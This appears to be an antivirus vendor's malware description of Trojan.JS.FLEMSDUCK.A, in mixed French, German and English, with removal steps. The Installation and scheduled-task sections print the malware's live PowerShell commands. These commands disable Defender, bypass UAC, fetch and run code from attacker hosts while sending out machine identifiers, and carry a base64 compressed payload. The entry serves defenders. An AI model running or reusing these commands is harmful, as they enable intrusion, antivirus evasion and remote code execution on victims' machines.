Analysé par: Mc Justine De Guzman   
 Plate-forme:

Windows

 Overall Risk:
 Dommages potentiels: :
 Distribution potentielle: :
 reportedInfection:
 Information Exposure Rating::
Faible
Medium
Élevé
Critique

  • Type de grayware:
    Trojan

  • Destructif:
    Non

  • Chiffrement:
     

  • In the wild::
    Oui

  Overview

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Détails techniques

File size: 12,338 bytes
File type: JS
Memory resident: Oui
Date de réception des premiers échantillons: 29 avril 2020

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

  • "%System%\cmd.exe" /c start /b notepad {malware full path} & powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.tr2q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}"
  • powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.tr2q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}";
  • %System%\cmd.exe" /c echo Set-MpPreference -DisableRealtimeMonitoring 1
  • powershell.exe -w hidden IEx "$v='mail';I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::"FromBase64String"('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')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
  • "%System%\schtasks.exe" /delete /tn Rtsa2 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa1 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa /F

  Solutions

Moteur de scan minimum: 9.850
First VSAPI Pattern File: 15.836.06
First VSAPI Pattern Release Date: 29 avril 2020
VSAPI OPR Pattern Version: 15.837.00
VSAPI OPR Pattern Release Date: 30 avril 2020

Step 1

Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.

Step 2

<p> Beachten Sie, dass nicht alle Dateien, Ordner, Registrierungsschlüssel und Einträge auf Ihrem Computer installiert sind, während diese Malware / Spyware / Grayware ausgeführt wird. Dies kann auf eine unvollständige Installation oder andere Betriebssystembedingungen zurückzuführen sein. Fahren Sie mit dem nächsten Schritt fort. </ p><p> Beachten Sie, dass nicht alle Dateien, Ordner, Registrierungsschlüssel und Einträge auf Ihrem Computer installiert sind, während diese Malware / Spyware / Grayware ausgeführt wird. Dies kann auf eine unvollständige Installation oder andere Betriebssystembedingungen zurückzuführen sein. Fahren Sie mit dem nächsten Schritt fort. </ p>

Step 3

Im abgesicherten Modus neu starten

[ learnMore ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • blackball - blackball
  • UOZzaSy3iqH - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.awc'+'na.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • 8AvszOqk1R - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.tr2'+'q.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • euWETvw7X0C - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Führen Sie den Neustart im normalen Modus durch, und durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt nach Dateien, die als Trojan.JS.FLEMSDUCK.A entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.


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